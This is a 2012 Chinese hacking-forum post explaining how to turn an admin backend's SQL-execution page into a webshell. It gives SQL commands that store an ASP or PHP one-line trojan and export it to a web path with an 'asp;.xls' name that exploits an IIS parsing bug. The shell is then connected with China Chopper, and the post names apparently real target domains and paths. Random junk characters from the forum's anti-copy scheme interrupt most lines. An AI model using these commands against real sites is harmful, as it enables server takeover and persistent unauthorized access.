找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2281|回复: 0
打印 上一主题 下一主题

ACCESS执行SQL命令导出一句话SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好不容易进了后台,发现啥上传啊。备份啊多木有。$ Y8 [9 S" J8 U& t% c2 O5 k
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
9 ]) X7 P, q. O; c4 @$ @文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,
: k8 q, O0 n9 ~  S# d* Z; d$ @然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:0 `5 F1 O0 p% _
1.create table cmd (a varchar(50))
' e* r5 |! R5 s2.insert into cmd (a) values (‘‘)& e' `6 u8 g( I+ H% i* z% u
3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd0 n) f8 a0 y2 Q
(把表cmd的内容导出为物理路径的一个EXCEL文件)
) j  M: w2 S$ j- [9 G; P8 X4.drop table cmd
0 a/ b/ w9 F/ D% v) B! A, ]3 ^) ^! N利用IIS的BUG成功拿到了WEBSHELL。9 `4 ^( H6 f' |7 ~
: u4 J" ^4 ~& `9 ~# l0 Y
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话5 ]% |* z, }* `; ^

4 Z. B! Q9 B; G: o7 \  SQL语句意思解释:' s& p% Q4 c* H: z
  第一句* K) R4 W9 z7 X. }- E* o" A- w
  建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
6 M2 M- T2 |8 F
! G* W% e; ]# R/ u2 n, x  第二句
) `: g  R7 t# v( J* H9 |  在表cmd的a字段插入一句话木马/ F: P; R: K/ m. `' R
  第三句
% o* u3 I2 \9 F) @' o  把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件6 O: z7 V$ G: n( A- M/ z

0 `4 Y" Q' M. \  第四句/ R( ~. [& Y0 B. H- d6 u) T
  删除建立的cmd表: G) Y3 d0 _/ S- U1 H% x
4 O: I  q( v; o( v2 Y
  以下内容为测试:3 e; _4 V( M2 |& D
  Access利用后台SQL执行命令功能导出WebShell:. H% Y! _; ^, q. W4 E/ \7 |& y5 }
  这个更简单:( G1 g9 B$ C- i$ A$ v" a
  [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
2 v: m1 A' [0 j/ `$ R  或者$ j+ t( l8 ~7 F
  [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]$ @; P$ q# d8 u2 H

' R' `0 }7 }  V2 g$ Z& b  后台有执行SQL语句功能(vote为已知表段)
3 S; c9 u, p5 i  H, J- R* l, Y7 C  希望对大家有所帮助拿shell的又一个思路
& I' Y3 p% U6 k8 j3 F# C( ~/ Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表